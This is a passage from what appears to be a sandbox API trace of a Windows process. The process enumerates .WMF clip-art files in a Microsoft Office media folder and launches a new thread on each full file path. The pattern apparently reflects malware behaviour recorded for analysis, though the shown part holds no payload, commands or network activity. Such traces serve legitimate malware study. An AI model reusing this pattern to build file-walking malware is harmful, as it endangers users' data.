Office\\MEDIA\\CAGCAT10\\J0195384.WMF" [0096.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf4c [0096.766] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa438000, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa438000, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195534.WMF", cAlternateFileName="")) returned 1 [0096.766] wcscmp (_String1="J0195534.WMF", _String2=".") returned 1 [0096.766] wcscmp (_String1="J0195534.WMF", _String2="..") returned 1 [0096.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784400 [0096.766] wcscpy (in: _Dest=0x1b784400, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.766] wcscat (in: _Dest=0x1b784400, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.766] wcscat (in: _Dest=0x1b784400, _Source="J0195534.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" [0096.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf50 [0096.767] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455d9300, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x455d9300, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195812.WMF", cAlternateFileName="")) returned 1 [0096.767] wcscmp (_String1="J0195812.WMF", _String2=".") returned 1 [0096.767] wcscmp (_String1="J0195812.WMF", _String2="..") returned 1 [0096.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b7845b0 [0096.767] wcscpy (in: _Dest=0x1b7845b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.767] wcscat (in: _Dest=0x1b7845b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.767] wcscat (in: _Dest=0x1b7845b0, _Source="J0195812.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" [0096.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7845b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf54 [0096.768] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec5c200, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ec5c200, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196164.WMF", cAlternateFileName="")) returned 1 [0096.769] wcscmp (_String1="J0196164.WMF", _String2=".") returned 1 [0096.769] wcscmp (_String1="J0196164.WMF", _String2="..") returned 1 [0096.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b783f80 [0096.769] wcscpy (in: _Dest=0x1b783f80, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.769] wcscat (in: _Dest=0x1b783f80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.769] wcscat (in: _Dest=0x1b783f80, _Source="J0196164.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" [0096.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b783f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf58 [0096.770] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ec6b00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81ec6b00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196374.WMF", cAlternateFileName="")) returned 1 [0096.770] wcscmp (_String1="J0196374.WMF", _String2=".") returned 1 [0096.770] wcscmp (_String1="J0196374.WMF", _String2="..") returned 1 [0096.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784760 [0096.770] wcscpy (in: _Dest=0x1b784760, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.770] wcscat (in: _Dest=0x1b784760, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.770] wcscat (in: _Dest=0x1b784760, _Source="J0196374.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" [0096.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf5c [0096.771] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929ce100, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x929ce100, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x8cbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196400.WMF", cAlternateFileName="")) returned 1 [0096.771] wcscmp (_String1="J0196400.WMF", _String2=".") returned 1 [0096.771] wcscmp (_String1="J0196400.WMF", _String2="..") returned 1 [0096.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b7847f0 [0096.771] wcscpy (in: _Dest=0x1b7847f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.771] wcscat (in: _Dest=0x1b7847f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.771] wcscat (in: _Dest=0x1b7847f0, _Source="J0196400.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" [0096.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7847f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf60 [0096.772] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fc00, ftCreationTime.dwHighDateTime=0x1bdf0c6, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91fc00, ftLastWriteTime.dwHighDateTime=0x1bdf0c6, nFileSizeHigh=0x0, nFileSizeLow=0x2518, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199036.WMF", cAlternateFileName="")) returned 1 [0096.772] wcscmp (_String1="J0199036.WMF", _String2=".") returned 1 [0096.773] wcscmp (_String1="J0199036.WMF", _String2="..") returned 1 [0096.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784a30 [0096.773] wcscpy (in: _Dest=0x1b784a30, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.773] wcscat (in: _Dest=0x1b784a30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.773] wcscat (in: _Dest=0x1b784a30, _Source="J0199036.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" [0096.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf64 [0096.773] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd55500, ftCreationTime.dwHighDateTime=0x1be05ec, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xebd55500, ftLastWriteTime.dwHighDateTime=0x1be05ec, nFileSizeHigh=0x0, nFileSizeLow=0x8ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199283.WMF", cAlternateFileName="")) returned 1 [0096.774] wcscmp (_String1="J0199283.WMF", _String2=".") returned 1 [0096.774] wcscmp (_String1="J0199283.WMF", _String2="..") returned 1 [0096.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784880 [0096.774] wcscpy (in: _Dest=0x1b784880, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.774] wcscat (in: _Dest=0x1b784880, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.774] wcscat (in: _Dest=0x1b784880, _Source="J0199283.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" [0096.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf68 [0096.775] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b53500, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54b53500, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xf5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199549.WMF", cAlternateFileName="")) returned 1 [0096.775] wcscmp (_String1="J0199549.WMF", _String2=".") returned 1 [0096.775] wcscmp (_String1="J0199549.WMF", _String2="..") returned 1 [0096.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784b50 [0096.775] wcscpy (in: _Dest=0x1b784b50, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.775] wcscat (in: _Dest=0x1b784b50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.775] wcscat (in: _Dest=0x1b784b50, _Source="J0199549.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" [0096.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf6c [0096.776] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b8b4b00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8b8b4b00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199661.WMF", cAlternateFileName="")) returned 1 [0096.776] wcscmp (_String1="J0199661.WMF", _String2=".") returned 1 [0096.776] wcscmp (_String1="J0199661.WMF", _String2="..") returned 1 [0096.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784ac0 [0096.776] wcscpy (in: _Dest=0x1b784ac0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.776] wcscat (in: _Dest=0x1b784ac0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.776] wcscat (in: _Dest=0x1b784ac0, _Source="J0199661.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" [0096.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf70 [0096.777] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b0eb00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb1b0eb00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199727.WMF", cAlternateFileName="")) returned 1 [0096.778] wcscmp (_String1="J0199727.WMF", _String2=".") returned 1 [0096.778] wcscmp (_String1="J0199727.WMF", _String2="..") returned 1 [0096.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784be0 [0096.778] wcscpy (in: _Dest=0x1b784be0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.778] wcscat (in: _Dest=0x1b784be0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.778] wcscat (in: _Dest=0x1b784be0, _Source="J0199727.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" [0096.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784be0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf74 [0096.779] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc6b8000, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbc6b8000, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199755.WMF", cAlternateFileName="")) returned 1 [0096.779] wcscmp (_String1="J0199755.WMF", _String2=".") returned 1 [0096.779] wcscmp (_String1="J0199755.WMF", _String2="..") returned 1 [0096.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784d00 [0096.779] wcscpy (in: _Dest=0x1b784d00, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.779] wcscat (in: _Dest=0x1b784d00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.779] wcscat (in: _Dest=0x1b784d00, _Source="J0199755.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" [0096.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf78 [0096.780] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd311d700, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd311d700, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199805.WMF", cAlternateFileName="")) returned 1 [0096.994] wcscmp (_String1="J0199805.WMF", _String2=".") returned 1 [0096.994] wcscmp (_String1="J0199805.WMF", _String2="..") returned 1 [0096.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b7842e0 [0096.996] wcscpy (in: _Dest=0x1b7842e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.996] wcscat (in: _Dest=0x1b7842e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.996] wcscat (in: _Dest=0x1b7842e0, _Source="J0199805.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" [0097.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7842e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd60 [0097.649] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ccab00, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85ccab00, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x2398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205462.WMF", cAlternateFileName="")) returned 1 [0097.649] wcscmp (_String1="J0205462.WMF", _String2=".") returned 1 [0097.649] wcscmp (_String1="J0205462.WMF", _String2="..") returned 1 [0097.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b783cb0 [0097.649] wcscpy (in: _Dest=0x1b783cb0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.649] wcscat (in: _Dest=0x1b783cb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.649] wcscat (in: _Dest=0x1b783cb0, _Source="J0205462.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" [0097.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b783cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0097.650] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89603200, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x89603200, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205466.WMF", cAlternateFileName="")) returned 1 [0097.650] wcscmp (_String1="J0205466.WMF", _String2=".") returned 1 [0097.650] wcscmp (_String1="J0205466.WMF", _String2="..") returned 1 [0097.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4d800 [0097.650] wcscpy (in: _Dest=0x1cf4d800, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.651] wcscat (in: _Dest=0x1cf4d800, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.651] wcscat (in: _Dest=0x1cf4d800, _Source="J0205466.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" [0097.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0097.652] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14d9c300, ftCreationTime.dwHighDateTime=0x1be4d5f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x14d9c300, ftLastWriteTime.dwHighDateTime=0x1be4d5f, nFileSizeHigh=0x0, nFileSizeLow=0x17f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205582.WMF", cAlternateFileName="")) returned 1 [0097.652] wcscmp (_String1="J0205582.WMF", _String2=".") returned 1 [0097.652] wcscmp (_String1="J0205582.WMF", _String2="..") returned 1 [0097.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4d920 [0097.652] wcscpy (in: _Dest=0x1cf4d920, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.652] wcscat (in: _Dest=0x1cf4d920, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.652] wcscat (in: _Dest=0x1cf4d920, _Source="J0205582.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" [0097.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0097.653] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e240a00, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3e240a00, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0xb34e, dwReserved0=0x0, dwReserved1=0x0, 